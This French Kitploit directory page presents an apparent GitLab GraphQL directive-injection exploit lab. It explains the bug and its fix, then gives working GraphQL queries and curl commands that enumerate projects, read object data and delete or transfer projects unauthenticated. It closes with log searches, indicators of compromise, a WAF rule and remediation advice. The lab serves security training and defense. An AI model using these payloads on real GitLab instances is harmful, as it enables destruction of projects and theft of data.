Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Gitlab-CVE-2026-19478 — Lab d'exploit dockerisé et script pour CVE-2026-19478, une injection de code critique non authentifiée dans GitLab GraphQL permettant des appels de méthodes Ruby arbitraires, la suppression de projets et l'exfiltration de données. | Kitploit
Outils/GitHubGitHub/punitdarji/gitlab-cve-2026-19478
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests de Sécurité des APITests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubpunitdarji/gitlab-cve-2026-19478

Gitlab-CVE-2026-19478

Lab d'exploit dockerisé et script pour CVE-2026-19478, une injection de code critique non authentifiée dans GitLab GraphQL permettant des appels de méthodes Ruby arbitraires, la suppression de projets et l'exfiltration de données.

Voir le dépôt
il y a 2 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-19478 — Injection de directive GraphQL @gl_introduced dans GitLab

Injection de code à distance non authentifiée via une directive GraphQL dans GitLab CE/EE — Supprimez n'importe quel projet public avec une seule requête HTTP

Un laboratoire de test d'intrusion pratique qui reproduit CVE-2026-19478, une vulnérabilité critique (CVSS 9.4) dans l'API GraphQL de GitLab. La directive @gl_introduced permet à des attaquants non authentifiés d'exécuter des méthodes Ruby arbitraires sur des objets côté serveur — y compris la suppression de projets, l'exfiltration de données et le transfert de propriété — sans aucune authentification.

Ce laboratoire exécute une vraie instance vulnérable GitLab CE 19.2.0 dans Docker pour une pratique d'exploitation réaliste.

Table des matières

  • Résumé de la vulnérabilité
  • Comment fonctionne l'exploit
  • Schéma du flux d'attaque
  • Configuration du laboratoire
  • Guide d'exploitation
  • Utilisation du script d'exploit
  • Détection et indicateurs de compromission
  • Remédiation
  • Références
  • Avertissement
  • Connectez-vous avec nous

Résumé de la vulnérabilité

Télécharger l’outil
ChampValeur
Identifiant CVECVE-2026-19478
Score CVSS9.4 (Critique)
ProduitGitLab Community Edition (CE) / Enterprise Edition (EE)
Type de vulnérabilitéInjection de code / Exécution de méthode arbitraire (CWE-94)
Vecteur d'attaqueRéseau (à distance)
AuthentificationAucune requise
Interaction utilisateurAucune
Complexité de l'attaqueFaible
Versions affectées18.2 – 18.11.10, 19.0 – 19.0.7, 19.1 – 19.1.5, 19.2 – 19.2.3
Versions corrigées18.11.11, 19.0.8, 19.1.6, 19.2.4
Découvert parhiimguardian (via HackerOne)
Date du correctif17 août 2026

Impact

Un attaquant distant non authentifié peut :

  • Supprimer définitivement n'importe quel projet public
  • Exfiltrer des données internes, des jetons d'administration et des secrets
  • Modifier la visibilité, la propriété et les paramètres des projets
  • Exécuter des méthodes Ruby arbitraires sur le modèle Project côté serveur
  • Archiver ou transférer des projets sans autorisation

Comment fonctionne l'exploit

La directive @gl_introduced

GitLab utilise une directive GraphQL personnalisée @gl_introduced(version: "X.Y") pour prendre en charge les déploiements progressifs. Lorsqu'une version plus récente de GitLab ajoute un champ à l'API GraphQL, les anciennes instances gèrent les requêtes référençant ces nouveaux champs avec élégance en renvoyant null au lieu de générer une erreur.

Le chemin de code vulnérable

Fichier : lib/gitlab/graphql/version_filter/future_field_fallback.rb (lignes 14-36)

Analyse étape par étape :

  1. FutureFieldFilter analyse les requêtes GraphQL entrantes. Lorsqu'un champ possède @gl_introduced(version) avec une version plus récente que celle du serveur actuel, il supprime le champ et définit context[:contain_future_fields] = true.

  2. IntroducedTracer restaure le document de requête d'origine au moment de l'exécution, en réinsérant les champs supprimés dans l'AST.

  3. FutureFieldFallback#get_field intercepte chaque recherche de champ pendant l'exécution. Il vérifie trois conditions :

    • Le drapeau contain_future_fields est-il défini ? ✅
    • Le champ est-il absent du schéma ? ✅
    • Le nom ne commence-t-il PAS par __ ? ✅
    • Le nom du champ est-il sûr ? ❌ Aucune vérification n'existe !
  4. Lorsque les trois vérifications réussissent, il synthétise un nouveau GraphQL::Schema::Field sans classe de résolveur.

  5. Dans graphql-ruby, un champ sans résolveur se résout en appelant object.public_send(field_name) sur l'objet Ruby sous-jacent — convertissant le nom de champ de l'attaquant en un appel de méthode arbitraire sur le modèle ActiveRecord Project.

Le correctif (19.2.4+)

Le correctif de GitLab remplace la distribution de méthode implicite par un NilResolver explicite qui renvoie nil inconditionnellement, préservant la compatibilité des déploiements progressifs tout en éliminant l'exécution de méthode arbitraire :

root@kitploit:~
# AVANT (vulnérable) — aucun résolveur → distribution de méthode
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# → object.public_send(field_name) ← APPEL DE MÉTHODE ARBITRAIRE

# APRÈS (corrigé) — NilResolver explicite
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
  resolver_class: NilResolver)  # ← renvoie toujours nil

Schéma du flux d'attaque

root@kitploit:~
                    ATTAQUANT (non authentifié)
                              │
                              │  POST /api/graphql
                              │  { project(fullPath: "victim/repo") {
                              │      name
                              │      destroy @gl_introduced(version: "99.0")
                              │  }}
                              │
                              ▼
               ┌──────────────────────────────┐
               │     API GraphQL GitLab        │
               │     (aucune authentification) │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   1. FutureFieldFilter        │
               │   "destroy" a @gl_introduced  │
               │   version 99.0 > 19.2.0      │
               │   → Supprime le champ         │
               │   → Définit contain_future_fields │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   2. IntroducedTracer         │
               │   → Restaure la requête d'origine │
               │   "destroy" est de retour dans l'AST │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   3. FutureFieldFallback      │
               │   "destroy" absent du schéma ? ✓  │
               │   Drapeau défini ? ✓                 │
               │   Pas __introspection ? ✓      │
               │   → Synthétise le champ        │
               │   → AUCUN RÉSOLVEUR attaché    │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   4. Résolution graphql-ruby  │
               │   Aucun résolveur trouvé →    │
               │   object.public_send(:destroy)│
               │                               │
               │   Project.find("victim/repo") │
               │          .destroy()           │
               │                               │
               │   ██ PROJET SUPPRIMÉ ██        │
               └──────────────────────────────┘

Configuration du laboratoire

Prérequis

  • Docker et Docker Compose installés
  • Au minimum 4 Go de RAM disponible pour Docker (GitLab est gourmand en ressources)
  • Python 3 (pour le script d'exploit)
  • Navigateur web ou curl / httpie pour tester l'API

Démarrage rapide — Vraie instance GitLab CE 19.2.0 (vulnérable)

root@kitploit:~
# Clonez ou accédez au répertoire du laboratoire
cd CVE-2026-19478

# Téléchargez et démarrez l'instance GitLab vulnérable
docker compose up -d

# Attendez que GitLab démarre complètement (3 à 5 minutes au premier démarrage)
# Surveillez la progression du démarrage :
docker logs -f gitlab-vulnerable

# Une fois que vous voyez "gitlab Reconfigured!" dans les journaux, configurez les projets de test :
bash setup-lab.sh

Points d'accès

ServiceURLIdentifiants
Interface web GitLabhttp://localhostroot / P@ssw0rd123!
API GraphQLhttp://localhost/api/graphqlAucun requis
Explorateur GraphQLhttp://localhost/-/graphql-explorerConnexion requise
SSHlocalhost:2222—

Alternative légère (simulée)

Pour les machines avec des ressources limitées ou pour un démarrage plus rapide :

root@kitploit:~
docker compose -f docker-compose.simulated.yml up --build -d
# Accès sur http://localhost:5000

Arrêt / Réinitialisation complète

root@kitploit:~
# Arrêter le laboratoire
docker compose down

# Réinitialisation complète (supprime tous les volumes de données)
docker compose down -v

Guide d'exploitation

Niveau 1 — Reconnaissance (non authentifiée)

Vérifiez la version du serveur :

root@kitploit:~
curl -s http://localhost/api/v4/version | jq
# {"version": "19.2.0", "enterprise": false}

Énumérez les projets publics via GraphQL (sans authentification) :

root@kitploit:~
{
  projects(membership: false) {
    nodes {
      id
      name
      fullPath
      visibility
    }
  }
}

Découvrez la directive @gl_introduced via l'introspection du schéma :

root@kitploit:~
{
  __schema {
    directives {
      name
      description
      args { name type { name } }
      locations
    }
  }
}

Niveau 2 — Déclencher la vulnérabilité

Utilisez @gl_introduced avec une version future sur un champ qui n'existe pas dans le schéma :

root@kitploit:~
{
  project(fullPath: "root/pwnsystem") {
    name
    class @gl_introduced(version: "99.0")
  }
}

Si la vulnérabilité est présente, class renvoie le nom de la classe Ruby ("Project"), confirmant la distribution de méthode arbitraire.

Niveau 3 — Exfiltration de données

root@kitploit:~
{
  project(fullPath: "root/pwnsystem") {
    name
    object_id @gl_introduced(version: "99.0")
    to_s @gl_introduced(version: "99.0")
  }
}

Niveau 4 — Exploitation destructrice

ATTENTION : Ce qui suit supprimera définitivement le projet.

root@kitploit:~
{
  project(fullPath: "root/pwnsystem") {
    name
    destroy @gl_introduced(version: "99.0")
  }
}

Autres méthodes exploitables sur le modèle Project de GitLab :

MéthodeImpact
destroySupprime définitivement le projet
archiveArchive le projet
transferTransfère la propriété du projet
attributesExtrait tous les attributs de la base de données
repositoryAccède à l'objet du dépôt
membersListe les membres du projet

Exemples curl

root@kitploit:~
# Énumérer les projets publics
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ projects(membership: false) { nodes { id name fullPath visibility } } }"}' | jq

# Vérifier la distribution de méthode arbitraire
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ project(fullPath: \"root/pwnsystem\") { name class @gl_introduced(version: \"99.0\") } }"}' | jq

# Supprimer un projet (DESTRUCTEUR)
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ project(fullPath: \"root/gitlabproject\") { name destroy @gl_introduced(version: \"99.0\") } }"}' | jq

Détection et indicateurs de compromission

Analyse des journaux

root@kitploit:~
# Recherchez les tentatives d'exploitation dans les journaux de production GitLab
grep -i "gl_introduced" /var/log/gitlab/gitlab-rails/production.log

# Recherchez les numéros de version élevés (signature d'exploitation)
grep -oP '@gl_introduced\(version:\s*"\K[^"]+' /var/log/gitlab/gitlab-rails/production.log | \
  awk -F. '$1 > 20 {print}'

Indicateurs de compromission (IOC)

IndicateurDescription
@gl_introduced(version: "99.0")Tentative d'exploitation avec une version irréalistement élevée
Noms de champs : destroy, delete, update, transferCiblage de méthodes ActiveRecord destructrices
Suppressions de projets inattenduesDes projets disparaissent sans action d'administrateur
Changements de visibilitéDes projets publics deviennent soudainement privés
Transferts de propriétéDes projets transférés à des utilisateurs inconnus

Règles WAF

Bloquez les requêtes GraphQL contenant @gl_introduced avec des numéros de version élevés :

root@kitploit:~
# Règle WAF Nginx
if ($request_body ~* "@gl_introduced.*version.*\"[2-9][0-9]\." ) {
    return 403;
}

Remédiation

  1. Corrigez immédiatement — Mettez à jour vers GitLab 18.11.11+, 19.0.8+, 19.1.6+ ou 19.2.4+
  2. Mitigation WAF — Bloquez les requêtes GraphQL contenant @gl_introduced avec des chaînes de version élevées au niveau du proxy inverse/WAF
  3. Audit des journaux — Examinez les journaux d'activité des projets pour détecter des modifications, suppressions ou changements de visibilité non autorisés
  4. Journaux d'accès — Recherchez dans les journaux du serveur web des schémas d'exploitation (voir la section Détection ci-dessus)
  5. Réponse aux incidents — Si une exploitation est confirmée, vérifiez l'exfiltration de données et restaurez les projets supprimés à partir des sauvegardes


Crédits PoC

CVE-2026-19478

Références

  • Avis de sécurité GitLab — 17 août 2026
  • OWASP A03:2021 — Injection
  • CWE-94 : Contrôle inapproprié de la génération de code (injection de code)
  • OX Security : Analyse des CVE GraphQL de GitLab
  • Help Net Security : Failité critique de GitLab
  • CyCognito : Avis sur les menaces émergentes
  • The Hacker News : Failité critique GraphQL de GitLab

Avertissement

Ce laboratoire est conçu exclusivement pour la formation autorisée en sécurité et l'entraînement aux tests d'intrusion. Il ne doit être utilisé que dans des environnements contrôlés et isolés que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test.

N'utilisez pas les techniques, outils ou codes d'exploitation de ce laboratoire contre un système sans autorisation appropriée. L'accès non autorisé à des systèmes informatiques est illégal en vertu de la loi Computer Fraud and Abuse Act (CFAA) et des lois équivalentes dans le monde entier.

Les auteurs et contributeurs ne sont pas responsables de tout usage abusif ou dommage causé par ce laboratoire ou son contenu.


Connectez-vous avec nous

Suivez sur Instagram   Connectez-vous sur LinkedIn

Suivez @pwnsystem sur Instagram pour des conseils quotidiens en cybersécurité, des analyses de CVE et des tutoriels d'exploitation.
Connectez-vous avec Punit Darji sur LinkedIn pour des informations professionnelles en sécurité et des mises à jour du laboratoire.